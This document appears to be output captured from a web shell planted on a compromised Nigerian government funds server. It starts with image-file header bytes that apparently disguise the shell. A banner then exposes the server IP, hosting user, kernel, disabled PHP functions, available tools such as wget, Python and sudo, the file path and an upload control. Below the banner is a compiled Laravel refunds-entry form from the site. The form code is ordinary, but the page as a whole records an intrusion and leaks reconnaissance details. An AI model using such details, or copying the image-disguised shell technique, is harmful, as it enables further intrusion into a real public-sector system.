ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.142.35.217 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> Add New Refunds Entry <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <form method="post" action="<?php echo e(route('PostCreateRefunds')); ?>"> <div class="box-body"> <div class="row"> <div class="col-md-12"> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <?php if(session('message')): ?> <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Success!</strong> <?php echo e(session('message')); ?> </div> <?php endif; ?> <?php if(session('error')): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php echo e(session('error')); ?> </div> <?php endif; ?> </div> <div class="col-md-12"><!--2nd col--> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label >No. of Voucher(Optional)</label> <input type="Text" name="numberOfVoucher" class="form-control input-lg" > </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="fromWhomReceived">From Whom Received</label> <input type="Text" name="fromWhomReceived" class="form-control input-lg" > </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="descriptionOfReceipt">Description of Receipt </label> <input type="Text" name="descriptionOfReceipt" class="form-control input-lg" Required> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="date">Date</label> <input type="Text" name="refundsDate" readonly id="refundsDate" class="form-control input-lg" placeholder="Select Date" Required > </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="numberOfTreasury">No. of Treasury(Optional)</label> <input type="Text" name="numberOfTreasury" class="form-control input-lg" > </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="tsaBank">TSA/Bank (Amount)</label> <input type="Text" name="tsaBank" class="form-control input-lg" placeholder="No comma" Required > </div> </div> </div> <div class="row"> <div class="col-md-3"> <div class="form-group"> <label for="accountType">Account Type</label> <select name="accountType" id="accountType" class="form-control input-lg"> <option value="">Select Account Type</option> <?php $__empty_1 = true; $__currentLoopData = $contractType; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $getType): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?> <option value="<?php echo e($getType->ID); ?>"><?php echo e($getType->contractType); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?> <option value="">Select Account Type</option> <?php endif; ?> </select> </div> </div> <div class="col-md-3"> <div class="form-group"> <label for="allocationType">Allocation Type</label> <select name="allocationType" id="allocationType" class="getAllocation form-control input-lg"> <option value="">Select Allocation Type</option> <?php $__empty_1 = true; $__currentLoopData = $allocationType; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $getAllocation): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?> <option value="<?php echo e($getAllocation->ID); ?>"><?php echo e($getAllocation->allocation); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?> <option value="">Select Allocation Type</option> <?php endif; ?> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="division">NCOA (Economic Code)</label> <select name="economicCode" id="economicCode" class="form-control input-lg"> <option value="">--Select--</option> </select> </div> </div> </div> <hr /> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for=""></label> <div align="right"> <button class="btn btn-success" type="submit"> Add Refunds</button> </div> </div> </div> </div> </div> <?php echo e(csrf_field()); ?> </div><!-- /.col --> </div><!-- /.row --> </form> <div class="table-responsive" style="font-size: 12px; padding:10px;"> <table class="table table-bordered"> <thead> <tr > <th ></th> <th>Econimic code</th> <th >Amount</th> <th >Purpose</th> <th >Source</th> </tr> </thead> <?php $serialNum = 1; $bf=0; $tr=0; $ta=0; ?> <?php $__currentLoopData = $ReconciliationRecords; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td><?php echo e($serialNum ++); ?> </td> <td style="text-transform:capitalize;"><?php echo e($b->description); ?>:<?php echo e($b->economicCode); ?></td> <td style="text-align:right;"><?php echo e(number_format(abs($b->amount_tsa_bank),2)); ?></td> <td style="text-transform:capitalize;"><?php echo e($b->des_of_receipt); ?></td> <td style="text-transform:capitalize;"><?php echo e($b->from_whom_received); ?></td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </table> <button class="print hidden-print" type="submit" >Print</button> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script> $( function(){ $("#refundsDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); }); //Get economic Code $(document).ready(function() { $(".getAllocation").change(function () { $('#economicCode').empty().append('<option value="" selected>--Select--</option>'); var accountType = $('#accountType').val(); var allocationType = $('#allocationType').val(); if (accountType === '' ) { $('#accountType').css('borderColor', 'red'); alert('Please select Account Type!'); $('#accountType').focus(); return false; } if (allocationType === '') { $('#allocationType').css('borderColor', 'red'); alert('Please select Allocation Type!'); $('#allocationType').focus(); return false; } $('#accountType').css('borderColor', 'grey'); $('#allocationType').css('borderColor', 'grey'); $.ajax({ url: murl + '/get-economic-code-for-refound', type: "post", data: { 'contractTypeID': accountType, 'allocationTypeID': allocationType, '_token': $('input[name=_token]').val() }, success: function (data) { var opt = ''; for(var i=0; i<data.length; i++) { opt += '<option value="' + data[i].economicID + '">' + data[i].description + '</option>'; //+ ' - Bal.: ' + data[i].bal } $('#economicCode').append(opt); }, error: function (jqXHR, status, err) { alert('Sorry, error occurred! Refresh this page. ' + err); } }) }); }); </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/resources/views/njcReconciliation/addRefunds.blade.php ENDPATH**/ ?>